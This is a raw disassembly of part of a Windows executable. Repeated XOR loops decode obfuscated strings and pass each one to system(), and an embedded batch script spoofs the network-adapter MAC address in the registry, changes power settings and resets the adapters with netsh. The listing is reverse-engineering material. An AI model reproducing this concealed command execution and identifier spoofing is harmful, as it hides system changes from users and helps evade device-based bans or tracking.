mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x21
jl 0x140061cb0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x312e]
lea rcx, [rbp + 0x86]
mov byte [rbp + 0x86], al
call fcn.1400754b0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140061e61
mov r8d, r14d
cmp r15d, 2
jl 0x140061e23
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x140061d30
cmp r8d, 0x2d
jge 0x140061e61
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x2d
jl 0x140061e30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x2e3e]
lea rcx, [rbp + 0x87]
mov byte [rbp + 0x87], al
call fcn.1400754f0
mov r10, rax
cmp byte [rax + 0x24], 0
je 0x140061fe1
mov r8d, r14d
cmp r15d, 2
jl 0x140061fa3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140061eb0
cmp r8d, 0x25
jge 0x140061fe1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x25
jl 0x140061fb0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x2d8a]
lea rcx, [rbp + 0x88]
mov byte [rbp + 0x88], al
call fcn.140075520
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x140062161
mov r8d, r14d
cmp r15d, 2
jl 0x140062123
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140062030
cmp r8d, 0x24
jge 0x140062161
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x24
jl 0x140062130
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x2dae]
lea rcx, [rbp + 0x89]
mov byte [rbp + 0x89], al
call fcn.140075550
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x1400622e1
mov r8d, r14d
cmp r15d, 2
jl 0x1400622a3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x1400621b0
cmp r8d, 0x24
jge 0x1400622e1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x24
jl 0x1400622b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x2dd2]
lea rcx, [rbp + 0x8a]
mov byte [rbp + 0x8a], al
call fcn.140075580
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x140062461
mov r8d, r14d
cmp r15d, 2
jl 0x140062423
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140062330
cmp r8d, 0x24
jge 0x140062461
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x24
jl 0x140062430
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x2df6]
lea rcx, [rbp + 0x8b]
mov byte [rbp + 0x8b], al
call fcn.1400755b0
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x1400625e1
mov r8d, r14d
cmp r15d, 2
jl 0x1400625a3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x1400624b0
cmp r8d, 0x24
jge 0x1400625e1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x24
jl 0x1400625b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x3c59]
lea rcx, [rbp + 0x8c]
mov byte [rbp + 0x8c], al
call fcn.1400755e0
mov r10, rax
cmp byte [rax + 0x3d], 0
je 0x140062761
mov r8d, r14d
cmp r15d, 2
jl 0x140062723
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x140062630
cmp r8d, 0x3e
jge 0x140062761
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x3e
jl 0x140062730
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x3e60]
lea rcx, [rbp + 0x8d]
mov byte [rbp + 0x8d], al
call fcn.140075630
mov r10, rax
cmp byte [rax + 0x40], 0
je 0x1400628e1
mov r8d, r14d
cmp r15d, 2
jl 0x1400628a3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x40
jl 0x1400627b0
cmp r8d, 0x41
jge 0x1400628e1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x41
jl 0x1400628b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x3be0]
lea rcx, [rbp + 0x8e]
mov byte [rbp + 0x8e], al
call fcn.140075670
mov r10, rax
cmp byte [rax + 0x3b], 0
je 0x140062a61
mov r8d, r14d
cmp r15d, 2
jl 0x140062a23
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x140062930
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x3c
jl 0x140062a30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x367c]
lea rcx, [rbp + 0x8f]
mov byte [rbp + 0x8f], al
call fcn.1400756b0
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x140062be1
mov r8d, r14d
cmp r15d, 2
jl 0x140062ba3
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x3713]
lea rcx, [rbp + 0x90]
mov byte [rbp + 0x90], al
call fcn.1400756e0
mov r10, rax
cmp byte [rax + 0x33], 0
je 0x140062d61
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x1400727d1
xor eax, eax
movabs rcx, 0x528f17cadbdc0526
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xb972cd97b7c19926
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4fc0], rax
movabs rax, 0x72f16a7687d7b5d7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4fc8], rax
movabs rax, 0xd155f64d5ab01340
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4fd0], rax
movabs rax, 0xda910e5c1cf3c3b1
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4fd8], rax
movabs rax, 0xcacfdb2dfa509534
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4fe0], rax
movabs rax, 0xe0df3743c9ca2c45
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4fe8], rax
movabs rax, 0x233409110ddbdef7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ff0], rax
movabs rax, 0x524049b26c21beef
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ff8], rax
movabs rax, 0xaf9bf343e1b81f0c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5000], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5008], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4680], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4688], rax
movabs rax, 0xd106f6115ac31337
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4690], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4698], rax
movabs rax, 0xca93db1ffa639559
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x46a0], rax
movabs rax, 0xe0b23726c9a82c32
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x46a8], rax
movabs rax, 0x234309650db5deab
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x46b0], rax
movabs rax, 0x5222499c6c4abe8c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x46b8], rax
movabs rax, 0xaf9bf343e1cc1f6d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x46c0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x4680]
mov qword [rbp + 0x46c8], rax
vpxor ymm1, ymm0, ymmword [rbp + 0x4fc0]
vmovdqa xmm2, xmmword [rbp + 0x5000]
lea rdx, [rbp + 0x4fc0]
vmovdqu ymm0, ymmword [rbp + 0x46a0]
vxorps xmm2, xmm2, xmmword [rbp + 0x46c0]
lea rcx, [rbp + 0x2ca0]
vmovdqa ymmword [rbp + 0x4fc0], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x4fe0]
vmovdqa ymmword [rbp + 0x4fe0], ymm1
vmovdqa xmmword [rbp + 0x5000], xmm2
vzeroupper
call fcn.14007a170
mov r8d, 0x813
lea rdx, str._ECHO_OFF_r_n_SETLOCAL_ENABLEDELAYEDEXPANSION_r_n_SETLOCAL_ENABLEEXTENSIONS_r_n_r_n_::Generate_and_implement_a_random_MAC_address_r_n_FOR__F__tokens1____a_IN__wmic_nic_where_physicaladaptertrue_get_deviceid__findstr__0_9___DO___r_n_CALL_:MAC_r_n_FOR___b_IN__0_00_000__DO___r_n_REG_QUERY_HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlClass4D36E972_E325_11CE_BFC1_08002bE10318__b__a__NUL_2_NUL__REG_ADD_HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlClass4D36E972_E325_11CE_BFC1_08002bE10318__b__a__v_NetworkAddress__t_REG_SZ__d__MAC____f__NUL_2_NUL_r_n___r_n___r_n_r_n_::Disable_power_saving_mode_for_network_adapters_r_n_FOR__F__tokens1____a_IN__wmic_nic_where_physicaladaptertrue_get_deviceid__findstr__0_9___DO___r_n_FOR___b_IN__0_00_000__DO___r_n_REG_QUERY_HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlClass4D36E972_E325_11CE_BFC1_08002bE10318__b__a__NUL_2_NUL__REG_ADD_HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlClass4D36E972_E325_11CE_BFC1_08002bE10318__b__a__v_PnPCapabilities__t_REG_DWORD__d_24__f__NUL_2_NUL_r_n___r_n___r_n_r_n_::Reset_NIC_adapters_so_the_new_MAC_address_is_implemented_and_the_power_saving_mode_is_disabled._r_n_FOR__F__tokens2_delims__skip2____a_IN___wmic_nic_where__netconnectionid_like_____get_netconnectionid_netconnectionstatus__format:csv___DO___r_n_netsh_interface_set_interface_name___a__disable__NUL_2_NUL_r_n_netsh_interface_set_interface_name___a__enable__NUL_2_NUL_r_n___r_n_r_n_GOTO_:EOF_r_n_:MAC_r_n_::Generates_semi_random_value_of_a_length_according_to_the__if__COUNT____line__minus_one__and_from_the_characters_in_the_GEN_variable_r_n_SET_COUNT0_r_n_SET_GENABCDEF0123456789_r_n_SET_GEN226AE_r_n_SET_MAC_r_n_:MACLOOP_r_n_SET__a_COUNT1_r_n_SET_RND_random__r_n_::__n__where_the_value_of_n_is_the_number_of_characters_in_the_GEN_variable_minus_one.__So_if_you_have_15_characters_in_GEN__set_the_number_as_14_r_n_SET__A_RNDRND__16_r_n_SET_RNDGEN_GEN:_RND__1__r_n_SET__A_RND2RND__4_r_n_SET_RNDGEN2_GEN2:_RND2__1__r_n_IF___COUNT____EQU__2___SET_MAC_MAC__RNDGEN2___ELSE__SET_MAC_MAC__RNDGEN___r_n_IF__COUNT___LEQ_11_GOTO_MACLOOP
lea rcx, [rbp + 0x2ca0]
call fcn.140047c20
lea rcx, [rbp + 0x2ca0]
call fcn.14003ec20
xor eax, eax
lea rdx, [rbp + 0x2d44]
lea rcx, [rbp + 0x134]
mov byte [rbp + 0x134], al
call fcn.140078b60
mov r10, rax
cmp byte [rax + 0x22], 0
je 0x140072641
mov r8d, r14d
cmp r15d, 2
jl 0x140072603
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
